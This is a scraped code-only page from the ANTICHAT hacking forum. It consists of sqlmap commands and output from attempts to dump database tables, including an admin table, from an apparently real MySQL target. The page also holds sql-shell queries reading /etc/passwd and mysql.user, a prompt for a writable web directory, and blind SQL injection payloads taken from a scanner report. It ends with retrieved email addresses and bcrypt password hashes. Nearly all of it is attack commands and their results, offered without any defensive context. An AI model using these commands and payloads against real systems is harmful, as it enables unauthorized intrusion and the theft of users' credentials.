ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
sqlmap -r my_http  --dump --threads=5 --dbms=mysql --dump -D some_db  --risk=3

Code:
sqlmap -r my_http  --dump --threads=5 --dbms=mysql --dump -D some_db  -T admin_table --risk=3

[12:15:44] [WARNING] time-based comparison requires larger statistical model, please wait............................. (done) 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[12:15:56] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[12:15:57] [INFO] adjusting time delay to 1 second due to good response times
[12:15:58] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[12:15:58] [ERROR] unable to retrieve the number of columns for table 'admin_table' in database 'some_db'
[12:15:58] [WARNING] unable to retrieve column names for table 'admin_table' in database 'some_db'
[12:18:10] [WARNING] unable to enumerate the columns for table 'admin_table' in database 'some_db'
[12:18:10] [INFO] fetched data logged to text files under '/root/.sqlmap/....'

Code:
sql-shell> SELECT LOAD_FILE('/etc/passwd');
[INFO] fetching SQL SELECT statement query output: 'SELECT LOAD_FILE('/etc/passwd')'
[INFO] retrieved:

sql-shell> desc mysql.user
[INFO] fetching SQL query output: 'desc mysql.user'
[INFO] retrieved:

sql-shell> SELECT * FROM mysql.user;
[INFO] fetching SQL SELECT statement query output: 'SELECT * FROM mysql.user'
[INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[INFO] fetching columns for table 'user' in database 'mysql'
[INFO] retrieved:
[ERROR] unable to retrieve the number of columns for table 'user' in database 'mysql'
[INFO] retrieved:
[WARNING] the SQL query provided does not return any output

Code:
[WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search

Code:
This vulnerability affects /part_eYXfQU0lw9rhwob9qRP2GVMv.html.
Discovered by: Scripting (Blind_Sql_Injection.script).
Attack details
URL encoded POST input partid was set to -1' OR 3*2*1=6 AND 000323=000323 or 'XAZghp6T'='

Tests performed:
-1' OR 2+323-323-1=0+0+0+1 or 'XAZghp6T'=' => TRUE
-1' OR 3+323-323-1=0+0+0+1 or 'XAZghp6T'=' => FALSE
-1' OR 3*2 FALSE
-1' OR 3*2>(0+5+323-323) or 'XAZghp6T'=' => FALSE
-1' OR 2+1-1-1=1 AND 000323=000323 or 'XAZghp6T'=' => TRUE
-1' OR 000323=000323 AND 3+1-1-1=1 or 'XAZghp6T'=' => FALSE
-1' OR 3*2=5 AND 000323=000323 or 'XAZghp6T'=' => FALSE
-1' OR 3*2=6 AND 000323=000323 or 'XAZghp6T'=' => TRUE
-1' OR 3*2*0=6 AND 000323=000323 or 'XAZghp6T'=' => FALSE
-1' OR 3*2*1=6 AND 000323=000323 or 'XAZghp6T'=' => TRUE

Code:
sqlmap -r "zapros.txt"

Code:
sqlmap -r "zapros.txt" -p "user-agent"

Code:
back-end DBMS: MySQL >= 5.0.0
banner: '5.7.21-20-beget-5.7.21-20-1-log'

Code:
[04:41:49] [INFO] retrieved: 'test@mail.com','$2y$10$IN1YM1wQoCAAI...
[04:41:51] [INFO] retrieved: 'test@mail.com','$2y$10$s7Y6jmxm0Lk5MYk6p727...
[04:41:53] [INFO] retrieved: 'test@mail.net','$2y$10$zIlubVWzn/zVAbNef...
[04:41:54] [INFO] retrieved: 'test@mail.com','$H\\2y$7KguiftaH$10\\ZByke...
[04:41:56] [INFO] retrieved: 'test@mail.com','$2y$10$8ycUx4ZRAtEvOpHS...
[04:41:58] [INFO] retrieved: 'test@mail.com','$2y$10$X2cd3HkmJs5f3DsUtzk...
[04:42:00] [INFO] retrieved: 'test@mail.com','$2y$10$52HMKZS6r4HT...